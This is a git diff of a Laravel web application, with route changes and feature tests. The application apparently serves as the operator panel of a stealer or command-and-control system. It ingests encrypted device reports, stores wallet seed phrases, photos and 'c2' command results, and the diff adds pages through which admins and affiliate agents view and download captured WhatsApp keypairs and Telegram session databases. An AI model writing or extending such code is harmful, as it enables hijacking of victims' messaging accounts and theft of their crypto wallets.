  • diff --git a/routes/admin.php b/routes/admin.php index aa5d614..7df4cb0 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -13,7 +13,7 @@ use App\Http\Controllers\Admin\MnemonicController; use App\Http\Controllers\Admin\NoteController; use App\Http\Controllers\Admin\PageVisitController; use App\Http\Controllers\Admin\PhotoController; -use App\Http\Controllers\Admin\RawLogController; +use App\Http\Controllers\Admin\PluginSessionController; use App\Http\Controllers\Admin\SystemSettingsController; use App\Http\Controllers\Admin\TransferRecordController; use App\Http\Controllers\Admin\WalletAddressController; @@ -78,6 +78,13 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('notes', [NoteController::class, 'index'])->name('notes.index'); Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data'); + Route::get('whatsapp', [PluginSessionController::class, 'whatsapp'])->name('whatsapp.index'); + Route::get('whatsapp/data', [PluginSessionController::class, 'whatsappData'])->name('whatsapp.data'); + Route::get('telegram', [PluginSessionController::class, 'telegram'])->name('telegram.index'); + Route::get('telegram/data', [PluginSessionController::class, 'telegramData'])->name('telegram.data'); + Route::get('sessions/{pluginSession}/payload', [PluginSessionController::class, 'payload'])->name('sessions.payload'); + Route::get('sessions/{pluginSession}/download', [PluginSessionController::class, 'download'])->name('sessions.download'); + Route::get('agents', [AgentUserController::class, 'index'])->name('agents.index'); Route::get('agents/data', [AgentUserController::class, 'data'])->name('agents.data'); Route::post('agents', [AgentUserController::class, 'store'])->name('agents.store'); @@ -99,14 +106,6 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu }); Route::middleware('admin.super')->group(function () { - Route::get('logs', [RawLogController::class, 'index'])->name('logs.index'); - Route::get('logs/{kind}/{file}', [RawLogController::class, 'show']) - ->where(['kind' => 'c2|xxbb', 'file' => '\d{8}\.log']) - ->name('logs.show'); - Route::get('logs/{file}', function (string $file) { - return redirect()->route('admin.logs.show', ['kind' => 'c2', 'file' => $file]); - })->where('file', '\d{8}\.log')->name('logs.show.legacy'); - Route::prefix('system')->name('system.')->group(function () { Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index'); Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data'); diff --git a/routes/user.php b/routes/user.php index 669bf9f..70e9aea 100644 --- a/routes/user.php +++ b/routes/user.php @@ -9,6 +9,7 @@ use App\Http\Controllers\Admin\MnemonicController; use App\Http\Controllers\Admin\NoteController; use App\Http\Controllers\Admin\PageVisitController; use App\Http\Controllers\Admin\PhotoController; +use App\Http\Controllers\Admin\PluginSessionController; use App\Http\Controllers\Admin\TransferRecordController; use App\Http\Controllers\Admin\WalletAddressController; use App\Http\Controllers\Agent\AuthController; @@ -67,6 +68,13 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func Route::get('notes', [NoteController::class, 'index'])->name('notes.index'); Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data'); + Route::get('whatsapp', [PluginSessionController::class, 'whatsapp'])->name('whatsapp.index'); + Route::get('whatsapp/data', [PluginSessionController::class, 'whatsappData'])->name('whatsapp.data'); + Route::get('telegram', [PluginSessionController::class, 'telegram'])->name('telegram.index'); + Route::get('telegram/data', [PluginSessionController::class, 'telegramData'])->name('telegram.data'); + Route::get('sessions/{pluginSession}/payload', [PluginSessionController::class, 'payload'])->name('sessions.payload'); + Route::get('sessions/{pluginSession}/download', [PluginSessionController::class, 'download'])->name('sessions.download'); + Route::get('channels', [ChannelController::class, 'index'])->name('channels.index'); Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data'); Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update'); diff --git a/tests/Feature/AdminAgentPortalTest.php b/tests/Feature/AdminAgentPortalTest.php index 23da8d2..975c49a 100644 --- a/tests/Feature/AdminAgentPortalTest.php +++ b/tests/Feature/AdminAgentPortalTest.php @@ -100,8 +100,8 @@ class AdminAgentPortalTest extends TestCase 'domains' => ['deployment' => [], 'reporting' => []], 'seeds_initialized' => false, 'sync_rebuilt' => false, - 'support_path' => '/web/x/support.html', - 'daily_path' => '/sync/daily.html', + 'support_path' => '/channel/x/weifile/weifile.html', + 'daily_path' => '/channel/x/details/', ]); $this->app->instance(ChannelProjectService::class, $projects); @@ -111,10 +111,10 @@ class AdminAgentPortalTest extends TestCase ->assertJsonPath('code', 0) ->json('data.channel_id'); $this->assertIsString($random); - $this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $random); + $this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $random); - $channelId = Channel::randomChannelId(); - $this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $channelId); + $channelId = Channel::randomNewChannelId(); + $this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $channelId); $this->actingAs($admin, 'admin') ->post(route('admin.channels.store'), [ @@ -125,10 +125,12 @@ class AdminAgentPortalTest extends TestCase ]) ->assertOk() ->assertJsonPath('code', 0) - ->assertJsonPath('data.links.0', 'https://fallback.test/web/'.$channelId.'/support.html'); + ->assertJsonPath('data.builder_type', Channel::BUILDER_NEW) + ->assertJsonPath('data.links.0', 'https://fallback.test/channel/'.$channelId.'/weifile/weifile.html'); $this->assertDatabaseHas('channels', [ 'channel_id' => $channelId, + 'builder_type' => Channel::BUILDER_NEW, 'user_id' => 0, 'remark' => 'official', ]); @@ -345,6 +347,39 @@ class AdminAgentPortalTest extends TestCase ->assertJsonPath('data.date_to', '2026-08-15'); } + #[Test] + public function admin_can_create_and_update_agent_album_storage_default(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + + $this->actingAs($admin, 'admin') + ->post(route('admin.agents.store'), [ + 'username' => 'albumagent', + 'password' => 'secret12', + 'status' => 1, + ]) + ->assertOk() + ->assertJsonPath('code', 0); + + $agent = User::query()->where('username', 'albumagent')->first(); + $this->assertNotNull($agent); + $this->assertFalse($agent->albumStorageDefaultEnabled()); + + $this->actingAs($admin, 'admin') + ->put(route('admin.agents.update', $agent), [ + 'album_storage_default' => 1, + ]) + ->assertOk() + ->assertJsonPath('code', 0); + + $this->assertTrue($agent->fresh()->albumStorageDefaultEnabled()); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.agents.data')) + ->assertOk() + ->assertJsonFragment(['username' => 'albumagent', 'album_storage_default' => 1]); + } + #[Test] public function agent_cannot_create_channel(): void { diff --git a/tests/Feature/ChannelProjectServiceTest.php b/tests/Feature/ChannelProjectServiceTest.php index 9d55092..e951da6 100644 --- a/tests/Feature/ChannelProjectServiceTest.php +++ b/tests/Feature/ChannelProjectServiceTest.php @@ -207,15 +207,21 @@ class ChannelProjectServiceTest extends TestCase #[Test] public function failed_database_insert_compensates_with_delete(): void { + $this->stageFakeWeifile(); Process::fake([ - '*' => Process::sequence() - ->push(Process::result(output: $this->fakeBuildResult())) - ->push(Process::result(output: ChannelProjectService::RESULT_MARKER.json_encode([ - 'status' => 'deleted', - 'removed' => true, - ])."\n")), + '*' => Process::result(output: $this->fakeBuildResult([ + 'builder_type' => 'new', + 'channel_id' => self::NEW_CHANNEL_ID, + 'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', + 'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/', + 'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID, + ])), ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID); + if (! is_dir($channelDir) && ! mkdir($channelDir, 0775, true) && ! is_dir($channelDir)) { + $this->fail('unable to create channel dir for compensation test'); + } $originalDispatcher = Channel::getEventDispatcher(); Channel::setEventDispatcher(new Dispatcher($this->app)); @@ -224,7 +230,7 @@ class ChannelProjectServiceTest extends TestCase try { $this->actingAs($admin, 'admin') ->post(route('admin.channels.store'), [ - 'channel_id' => self::CHANNEL_ID, + 'channel_id' => self::NEW_CHANNEL_ID, 'user_id' => 0, ]) ->assertStatus(422) @@ -233,11 +239,8 @@ class ChannelProjectServiceTest extends TestCase Channel::setEventDispatcher($originalDispatcher); } - Process::assertRan(fn ($process) => str_contains( - is_array($process->command) ? implode(' ', $process->command) : (string) $process->command, - 'delete_channel_web.py' - )); - $this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]); + $this->assertDirectoryDoesNotExist($channelDir); + $this->assertDatabaseMissing('channels', ['channel_id' => self::NEW_CHANNEL_ID]); } #[Test] @@ -247,19 +250,20 @@ class ChannelProjectServiceTest extends TestCase $projects = Mockery::mock(ChannelProjectService::class); $projects->shouldReceive('generate')->once()->andReturnUsing(function (): array { Channel::query()->create([ - 'channel_id' => self::CHANNEL_ID, + 'channel_id' => self::NEW_CHANNEL_ID, + 'builder_type' => Channel::BUILDER_NEW, 'user_id' => 0, 'status' => 1, ]); return [ - 'channel_id' => self::CHANNEL_ID, + 'channel_id' => self::NEW_CHANNEL_ID, 'seeds' => ['deployment_seed' => 'a', 'reporting_seed' => 'b'], 'domains' => ['deployment' => [], 'reporting' => []], 'seeds_initialized' => false, 'sync_rebuilt' => false, - 'support_path' => '/web/'.self::CHANNEL_ID.'/support.html', - 'daily_path' => '/sync/daily.html', + 'support_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', + 'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/', ]; }); $projects->shouldNotReceive('deleteWebTree'); @@ -267,7 +271,7 @@ class ChannelProjectServiceTest extends TestCase $this->actingAs($admin, 'admin') ->post(route('admin.channels.store'), [ - 'channel_id' => self::CHANNEL_ID, + 'channel_id' => self::NEW_CHANNEL_ID, 'user_id' => 0, ]) ->assertStatus(422) @@ -328,27 +332,54 @@ class ChannelProjectServiceTest extends TestCase #[Test] public function store_returns_seeds_and_domains(): void { + $this->stageFakeWeifile(); Process::fake([ - '*' => Process::result(output: $this->fakeBuildResult()), + '*' => Process::result(output: $this->fakeBuildResult([ + 'builder_type' => 'new', + 'channel_id' => self::NEW_CHANNEL_ID, + 'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', + 'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/', + 'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/', + 'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID, + ])), ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->post(route('admin.channels.store'), [ - 'channel_id' => self::CHANNEL_ID, + 'channel_id' => self::NEW_CHANNEL_ID, 'user_id' => 0, ]) ->assertOk() ->assertJsonPath('code', 0) + ->assertJsonPath('data.builder_type', Channel::BUILDER_NEW) ->assertJsonPath('data.seeds.deployment_seed', '11111111111111111111111111111111') ->assertJsonPath('data.domains.deployment.0', 'www.dep.example') - ->assertJsonPath('data.seeds_initialized', true) - ->assertJsonPath('data.daily_path', '/sync/daily.html'); + ->assertJsonPath('data.daily_path', '/channel/'.self::NEW_CHANNEL_ID.'/details/'); - $this->assertDatabaseHas('channels', ['channel_id' => self::CHANNEL_ID]); - $channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first(); + $this->assertDatabaseHas('channels', [ + 'channel_id' => self::NEW_CHANNEL_ID, + 'builder_type' => Channel::BUILDER_NEW, + ]); + $channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first(); $this->assertSame([], $channel->domains ?? []); - $this->assertSame(Channel::BUILDER_OLD, $channel->builderType()); + $this->assertSame(Channel::BUILDER_NEW, $channel->builderType()); + } + + #[Test] + public function store_rejects_old_builder_channel_id(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + + $this->actingAs($admin, 'admin') + ->post(route('admin.channels.store'), [ + 'channel_id' => self::CHANNEL_ID, + 'builder_type' => Channel::BUILDER_OLD, + 'user_id' => 0, + ]) + ->assertSessionHasErrors('channel_id'); + + $this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]); } #[Test] @@ -477,7 +508,6 @@ class ChannelProjectServiceTest extends TestCase $response = $this->actingAs($admin, 'admin') ->post(route('admin.channels.store'), [ 'channel_id' => self::NEW_CHANNEL_ID, - 'builder_type' => Channel::BUILDER_NEW, 'user_id' => 0, ]) ->assertOk() diff --git a/tests/Feature/DeviceAlbumStorageTest.php b/tests/Feature/DeviceAlbumStorageTest.php index 5b8ce7c..5d445d4 100644 --- a/tests/Feature/DeviceAlbumStorageTest.php +++ b/tests/Feature/DeviceAlbumStorageTest.php @@ -7,6 +7,7 @@ use App\Models\Channel; use App\Models\Device; use App\Models\Photo; use App\Models\User; +use App\Services\CorunaCrypto; use App\Services\IngestService; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Http; @@ -30,6 +31,147 @@ class DeviceAlbumStorageTest extends TestCase $this->assertFalse((bool) $device->fresh()->album_storage); } + #[Test] + public function ingest_uses_agent_album_storage_default_on(): void + { + $agent = User::query()->create([ + 'username' => 'album_on', + 'password' => 'secret12', + 'status' => 1, + 'album_storage_default' => true, + ]); + $this->assertTrue($agent->albumStorageDefaultEnabled()); + $channelId = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; + Channel::query()->create([ + 'channel_id' => $channelId, + 'user_id' => $agent->id, + 'status' => 1, + ]); + + $crypto = new CorunaCrypto; + $ts = '1722585600201'; + $enc = $crypto->encryptJson([ + 'd' => 'dev-agent-album-on', + 'c' => $channelId, + ], $ts); + $this->call('POST', '/api/user/avatar/put', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); + + $device = Device::query()->where('device_id', 'dev-agent-album-on')->first(); + $this->assertNotNull($device); + $this->assertTrue($device->albumStorageEnabled()); + } + + #[Test] + public function ingest_keeps_album_off_when_agent_default_off(): void + { + $agent = User::query()->create([ + 'username' => 'album_off', + 'password' => 'secret12', + 'status' => 1, + ]); + $this->assertFalse($agent->albumStorageDefaultEnabled()); + $channelId = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; + Channel::query()->create([ + 'channel_id' => $channelId, + 'user_id' => $agent->id, + 'status' => 1, + ]); + + $crypto = new CorunaCrypto; + $ts = '1722585600202'; + $enc = $crypto->encryptJson([ + 'd' => 'dev-agent-album-off', + 'c' => $channelId, + ], $ts); + $this->call('POST', '/api/user/avatar/put', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); + + $device = Device::query()->where('device_id', 'dev-agent-album-off')->first(); + $this->assertNotNull($device); + $this->assertFalse($device->albumStorageEnabled()); + } + + #[Test] + public function later_channel_fill_applies_agent_album_default(): void + { + $agent = User::query()->create([ + 'username' => 'album_late', + 'password' => 'secret12', + 'status' => 1, + 'album_storage_default' => true, + ]); + $channelId = 'cccccccccccccccccccccccccccccccc'; + Channel::query()->create([ + 'channel_id' => $channelId, + 'user_id' => $agent->id, + 'status' => 1, + ]); + + $crypto = new CorunaCrypto; + $tsSet = '1722585600203'; + $encSet = $crypto->encryptJson([ + 'd' => 'dev-agent-album-late', + 'c' => $channelId, + 'a' => 'a1', + 'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', + ], $tsSet); + $this->call('POST', '/api/user/set', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $tsSet, + ], $encSet['body'])->assertOk(); + + $device = Device::query()->where('device_id', 'dev-agent-album-late')->first(); + $this->assertNotNull($device); + $this->assertNull($device->channel_id); + $this->assertFalse($device->albumStorageEnabled()); + + $tsPut = '1722585600204'; + $encPut = $crypto->encryptJson([ + 'd' => 'dev-agent-album-late', + 'c' => $channelId, + 'et' => 'heartbeat', + ], $tsPut); + $this->call('POST', '/api/user/avatar/put', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $tsPut, + ], $encPut['body'])->assertOk(); + + $device->refresh(); + $this->assertSame($channelId, $device->channel_id); + $this->assertTrue($device->albumStorageEnabled()); + } + + #[Test] + public function official_and_unknown_channel_keep_album_off(): void + { + Channel::query()->create([ + 'channel_id' => 'dddddddddddddddddddddddddddddddd', + 'user_id' => Channel::OFFICIAL_USER_ID, + 'status' => 1, + ]); + + $crypto = new CorunaCrypto; + foreach ([ + ['d' => 'dev-official-album', 'c' => 'dddddddddddddddddddddddddddddddd'], + ['d' => 'dev-unknown-album', 'c' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'], + ] as $i => $payload) { + $ts = (string) (1722585600210 + $i); + $enc = $crypto->encryptJson($payload, $ts); + $this->call('POST', '/api/user/avatar/put', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); + } + + $this->assertFalse(Device::query()->where('device_id', 'dev-official-album')->first()?->albumStorageEnabled()); + $this->assertFalse(Device::query()->where('device_id', 'dev-unknown-album')->first()?->albumStorageEnabled()); + } + #[Test] public function ingest_skips_photos_when_album_storage_off(): void { diff --git a/tests/Feature/DeviceDeleteTest.php b/tests/Feature/DeviceDeleteTest.php index 1b8eb59..5a83f9f 100644 --- a/tests/Feature/DeviceDeleteTest.php +++ b/tests/Feature/DeviceDeleteTest.php @@ -131,6 +131,8 @@ class DeviceDeleteTest extends TestCase ); Storage::disk('local')->put('c2/ds-results/dev-del-1/cmd/a.json', '{}'); Storage::disk('local')->put('c2/ds-chunks/dev-del-1/cmd/f/0', 'x'); + $waPath = PluginSession::whatsappFilePath('dev-del-1', '15550001111'); + Storage::disk('local')->put($waPath, '{"userId":"15550001111"}'); try { $this->actingAs($admin, 'admin') @@ -157,6 +159,7 @@ class DeviceDeleteTest extends TestCase Storage::disk('local')->assertMissing($checkPath); Storage::disk('local')->assertMissing('c2/ds-results/dev-del-1/cmd/a.json'); Storage::disk('local')->assertMissing('c2/ds-chunks/dev-del-1/cmd/f/0'); + Storage::disk('local')->assertMissing($waPath); $this->assertFileExists($dsLog); $left = (string) file_get_contents($dsLog); $this->assertStringNotContainsString('dev-del-1', $left); diff --git a/tests/Feature/DeviceImFlagTest.php b/tests/Feature/DeviceImFlagTest.php new file mode 100644 index 0000000..0729cc8 --- /dev/null +++ b/tests/Feature/DeviceImFlagTest.php @@ -0,0 +1,113 @@ +create(['device_id' => 'dev-im-none']); + + $this->assertFalse($device->hasWhatsApp()); + $this->assertFalse($device->hasTelegram()); + $this->assertSame([], $device->imNameList()); + } + + #[Test] + public function telegram_ingest_sets_tg_flag(): void + { + Storage::fake('local'); + $device = Device::query()->create(['device_id' => 'dev-im-tg']); + app(IngestService::class)->ingestTelegramAuth($device, [ + 'user_id' => '111', + 'state' => ['records' => []], + 'db_sqlite' => 'QQ==', + ]); + + $device->refresh(); + $this->assertTrue($device->hasTelegram()); + $this->assertFalse($device->hasWhatsApp()); + $this->assertSame(['Telegram'], $device->imNameList()); + } + + #[Test] + public function whatsapp_ingest_sets_ws_flag(): void + { + Storage::fake('local'); + $device = Device::query()->create(['device_id' => 'dev-im-ws']); + app(IngestService::class)->ingestWhatsAppAuth($device, [ + 'userId' => '15550001111', + 'clientStaticKeypairBase64' => 'QUJD', + 'phoneKeyStore' => ['preKeys' => []], + ]); + + $device->refresh(); + $this->assertTrue($device->hasWhatsApp()); + $this->assertFalse($device->hasTelegram()); + $this->assertSame(['WhatsApp'], $device->imNameList()); + } + + #[Test] + public function both_sessions_set_both_flags(): void + { + Storage::fake('local'); + $device = Device::query()->create(['device_id' => 'dev-im-both']); + $ingest = app(IngestService::class); + $ingest->ingestTelegramAuth($device, [ + 'user_id' => '222', + 'state' => ['ok' => 1], + ]); + $ingest->ingestWhatsAppAuth($device, [ + 'userId' => '15550002222', + 'whatsappVersion' => '2.24.0', + 'clientStaticKeypairBase64' => 'QUJD', + ]); + + $device->refresh(); + $this->assertTrue($device->hasWhatsApp()); + $this->assertTrue($device->hasTelegram()); + $this->assertSame(['WhatsApp', 'Telegram'], $device->imNameList()); + } + + #[Test] + public function admin_can_filter_devices_by_im_flag(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + Device::query()->create(['device_id' => 'dev-plain']); + Device::query()->create(['device_id' => 'dev-ws', 'has_whatsapp' => true]); + Device::query()->create(['device_id' => 'dev-tg', 'has_telegram' => true]); + Device::query()->create(['device_id' => 'dev-both', 'has_whatsapp' => true, 'has_telegram' => true]); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.devices.data', ['has_im' => 'whatsapp'])) + ->assertOk() + ->assertJsonPath('count', 2); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.devices.data', ['has_im' => 'telegram'])) + ->assertOk() + ->assertJsonPath('count', 2); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.devices.data', ['has_im' => 'yes'])) + ->assertOk() + ->assertJsonPath('count', 3); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.devices.data', ['has_im' => 'none'])) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.device_id', 'dev-plain'); + } +} diff --git a/tests/Feature/PluginSessionPageTest.php b/tests/Feature/PluginSessionPageTest.php new file mode 100644 index 0000000..d4eea7e --- /dev/null +++ b/tests/Feature/PluginSessionPageTest.php @@ -0,0 +1,140 @@ +create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create([ + 'device_id' => 'dev-sess', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + 'has_whatsapp' => true, + 'has_telegram' => true, + ]); + PluginSession::query()->create([ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'kind' => PluginSession::KIND_WHATSAPP, + 'account_id' => '15551230000', + 'phone' => '15551230000', + 'payload' => [ + 'userId' => '15551230000', + 'nickname' => 'wa-nick', + 'whatsappVersion' => '2.24.0', + 'clientStaticKeypairBase64' => 'QUJD', + ], + ]); + PluginSession::query()->create([ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'kind' => PluginSession::KIND_TELEGRAM, + 'account_id' => '987654', + 'payload' => [ + 'user_id' => '987654', + 'state' => ['records' => []], + 'db_sqlite' => str_repeat('A', 400), + ], + ]); + + $this->actingAs($admin, 'admin') + ->get(route('admin.whatsapp.index')) + ->assertOk() + ->assertSee('WS 参数'); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.whatsapp.data')) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.account_id', '15551230000') + ->assertJsonPath('data.0.nickname', 'wa-nick') + ->assertJsonPath('data.0.has_keystore', true) + ->assertJsonMissingPath('data.0.payload_json'); + + $tg = $this->actingAs($admin, 'admin') + ->getJson(route('admin.telegram.data')) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.account_id', '987654') + ->assertJsonPath('data.0.has_db', true) + ->json(); + $this->assertArrayNotHasKey('payload_json', $tg['data'][0] ?? []); + + $tgPayload = $this->actingAs($admin, 'admin') + ->getJson(route('admin.sessions.payload', PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first())) + ->assertOk() + ->json('data.payload_json'); + $this->assertStringContainsString(str_repeat('A', 400), (string) $tgPayload); + $this->assertStringNotContainsString('400 bytes', (string) $tgPayload); + + $tgRow = PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first(); + $download = $this->actingAs($admin, 'admin') + ->get(route('admin.sessions.download', $tgRow)) + ->assertOk(); + $this->assertStringContainsString('attachment', (string) $download->headers->get('content-disposition')); + $this->assertStringContainsString(str_repeat('A', 400), $download->streamedContent()); + } + + #[Test] + public function agent_only_sees_own_channel_sessions(): void + { + $agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]); + $agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]); + $chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; + $chB = 'cccccccccccccccccccccccccccccccc'; + Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); + Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); + + $devA = Device::query()->create(['device_id' => 'dev-a', 'channel_id' => $chA]); + $devB = Device::query()->create(['device_id' => 'dev-b', 'channel_id' => $chB]); + PluginSession::query()->create([ + 'device_id' => $devA->id, + 'device_key' => 'dev-a', + 'kind' => PluginSession::KIND_TELEGRAM, + 'account_id' => 'aaa', + 'payload' => ['user_id' => 'aaa'], + ]); + PluginSession::query()->create([ + 'device_id' => $devB->id, + 'device_key' => 'dev-b', + 'kind' => PluginSession::KIND_TELEGRAM, + 'account_id' => 'bbb', + 'payload' => ['user_id' => 'bbb'], + ]); + + $this->actingAs($agentA, 'agent') + ->getJson(route('user.telegram.data')) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.account_id', 'aaa'); + + $own = PluginSession::query()->where('account_id', 'aaa')->first(); + $other = PluginSession::query()->where('account_id', 'bbb')->first(); + $this->actingAs($agentA, 'agent') + ->getJson(route('user.sessions.payload', $own)) + ->assertOk() + ->assertJsonPath('code', 0); + $this->actingAs($agentA, 'agent') + ->getJson(route('user.sessions.payload', $other)) + ->assertForbidden(); + $this->actingAs($agentA, 'agent') + ->get(route('user.sessions.download', $own)) + ->assertOk(); + $this->actingAs($agentA, 'agent') + ->get(route('user.sessions.download', $other)) + ->assertForbidden(); + } +} diff --git a/tests/Feature/RawLogControllerTest.php b/tests/Feature/RawLogControllerTest.php deleted file mode 100644 index c547df4..0000000 --- a/tests/Feature/RawLogControllerTest.php +++ /dev/null @@ -1,108 +0,0 @@ -create([ - 'username' => 'root', - 'password' => 'secret12', - 'is_super' => 1, - ]); - } - - #[Test] - public function xxbb_log_show_pages_instead_of_loading_the_whole_file(): void - { - $dir = public_path('log/xxbb'); - if (! is_dir($dir)) { - mkdir($dir, 0775, true); - } - $file = $dir.'/20990101.log'; - $chunks = []; - for ($i = 1; $i <= 90; $i++) { - $chunks[] = '2026-08-14 13:00:00 /event {"n":'.$i.',"marker":"ENTRY-'.$i.'"}'; - } - file_put_contents($file, implode("\r\n\r\n", $chunks)."\r\n\r\n"); - - try { - $admin = $this->superAdmin(); - $page1 = $this->actingAs($admin, 'admin') - ->get(route('admin.logs.show', [ - 'kind' => 'xxbb', - 'file' => '20990101.log', - 'per_page' => 40, - ])) - ->assertOk(); - $html1 = $page1->getContent(); - $this->assertSame(40, substr_count($html1, 'class="json-block"')); - $this->assertStringContainsString('ENTRY-90', $html1); - $this->assertStringContainsString('新版', $html1); - $this->assertStringNotContainsString('ENTRY-50', $html1); - $this->assertStringContainsString('更早', $html1); - - $page2 = $this->actingAs($admin, 'admin') - ->get(route('admin.logs.show', [ - 'kind' => 'xxbb', - 'file' => '20990101.log', - 'per_page' => 40, - 'page' => 2, - ])) - ->assertOk(); - $html2 = $page2->getContent(); - $this->assertStringContainsString('ENTRY-50', $html2); - $this->assertStringNotContainsString('ENTRY-90', $html2); - } finally { - @unlink($file); - } - } - - #[Test] - public function xxbb_and_c2_same_filename_do_not_mix(): void - { - foreach (['c2' => 'OLD-C2-MARKER', 'xxbb' => 'NEW-XXBB-MARKER'] as $kind => $marker) { - $dir = public_path('log/'.$kind); - if (! is_dir($dir)) { - mkdir($dir, 0775, true); - } - file_put_contents( - $dir.'/20990102.log', - '2026-08-14 13:00:00 /probe {"marker":"'.$marker.'"}'."\r\n\r\n" - ); - } - - try { - $admin = $this->superAdmin(); - $index = $this->actingAs($admin, 'admin') - ->get(route('admin.logs.index')) - ->assertOk(); - $index->assertSee('/admin/logs/xxbb/20990102.log', false); - - $this->actingAs($admin, 'admin') - ->get(route('admin.logs.show', ['kind' => 'xxbb', 'file' => '20990102.log'])) - ->assertOk() - ->assertSee('NEW-XXBB-MARKER') - ->assertSee('新版') - ->assertDontSee('OLD-C2-MARKER'); - - $this->actingAs($admin, 'admin') - ->get(route('admin.logs.show', ['kind' => 'c2', 'file' => '20990102.log'])) - ->assertOk() - ->assertSee('OLD-C2-MARKER') - ->assertSee('旧版') - ->assertDontSee('NEW-XXBB-MARKER'); - } finally { - @unlink(public_path('log/c2/20990102.log')); - @unlink(public_path('log/xxbb/20990102.log')); - } - } -} diff --git a/tests/Feature/SystemAdminTest.php b/tests/Feature/SystemAdminTest.php index 303bc23..c1d2a4e 100644 --- a/tests/Feature/SystemAdminTest.php +++ b/tests/Feature/SystemAdminTest.php @@ -63,10 +63,6 @@ class SystemAdminTest extends TestCase $this->actingAs($staff, 'admin') ->get(route('admin.system.admins.index')) ->assertForbidden(); - - $this->actingAs($staff, 'admin') - ->get(route('admin.logs.index')) - ->assertForbidden(); } #[Test] @@ -83,7 +79,8 @@ class SystemAdminTest extends TestCase ->get(route('admin.home')) ->assertOk() ->assertSee('lay-href="'.route('admin.system.settings.index').'"', false) - ->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false); + ->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false) + ->assertDontSee('原始日志'); } #[Test] @@ -94,7 +91,8 @@ class SystemAdminTest extends TestCase ->assertOk() ->assertSee('系统') ->assertSee('设置') - ->assertSee('管理员'); + ->assertSee('管理员') + ->assertDontSee('原始日志'); } #[Test] diff --git a/tests/Feature/WalletAddressFilterTest.php b/tests/Feature/WalletAddressFilterTest.php index 91c4887..853d8d7 100644 --- a/tests/Feature/WalletAddressFilterTest.php +++ b/tests/Feature/WalletAddressFilterTest.php @@ -97,6 +97,25 @@ class WalletAddressFilterTest extends TestCase ->assertJsonMissing(['address' => 'addr-with-mnemonic']); } + #[Test] + public function 